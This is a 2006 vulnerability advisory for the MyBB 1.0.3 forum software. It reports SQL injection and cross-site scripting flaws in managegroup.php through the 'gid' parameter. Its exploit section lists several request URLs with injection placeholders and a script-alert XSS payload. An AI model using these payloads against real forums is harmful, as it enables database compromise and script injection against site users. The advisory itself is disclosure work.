[myimei]MyBB1.0.3~managegroup.php~Multiple SqlInjection & XSS
\>>>>>>>>ORIGINAL ADVISORY<<<<<<<<<<</
http://myimei.com/security/2006-02-10/mybb103managegroupphpmultiple-sqlinjection-xss.html
Vendor Credit:http://community.mybboard.net/showthread.php?tid=6777
??????-Summary?????-
Software: MyBB
Sowtware?s Web Site: http://www.mybboard.com
Versions: 1.0.3
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Available
Discovered by: <strong>imei addmimistrator</strong>
Risk Level: <strong>mediume high</strong>
??????Description?????
There is some security bug in MyBB 1.0.3 software (latest version fully
patched) file <strong>managegroup.php </strong> lines 313 that allows attacker
performe an <strong>SQLINJECTION </strong>and<strong> XSS</strong>
attack.<!--more--> bug is in result of poor checking non integer values for
<strong>?gid? </strong>input variable.
Conditions: user should have enough permissions (group leader)
/////////////////////////
Lines of buggy code are:
75 sql
98 sql
125 sql
141 sql
160 sql
177 xss
/////////////////////////
?????Exploit???????-
mybb/managegroup.php?gid=8&action=do_joinrequests&request[<strong>sql</strong>]=accept
mybb/managegroup.php?gid=8'<strong>sql</strong>&action=joinrequests
mybb/managegroup.php?gid=8'<strong>sql</strong>&action=do_manageusers&removeuser[]='<strong>sql</strong>
mybb/managegroup.php?gid=8'<strong>sql</strong>{if user group is publically
joinabe with moderated by leader}
mybb/managegroup.php?gid=8'<strong>sql</strong>{if user group is publically
joinabe without moderating by leader}
mybb/managegroup.php?gid=8'//<script>alert(1)</script>{if user
group is publically joinabe without moderating by leader also requests are as
more as can not show on one page}
?????Solution???????
upgrade to vendors provided patch
?????Credit????????
Discovered by: imei addmimistrator
addmimistrator(4}gmail(O}com
www.myimei.com
security.myimei.com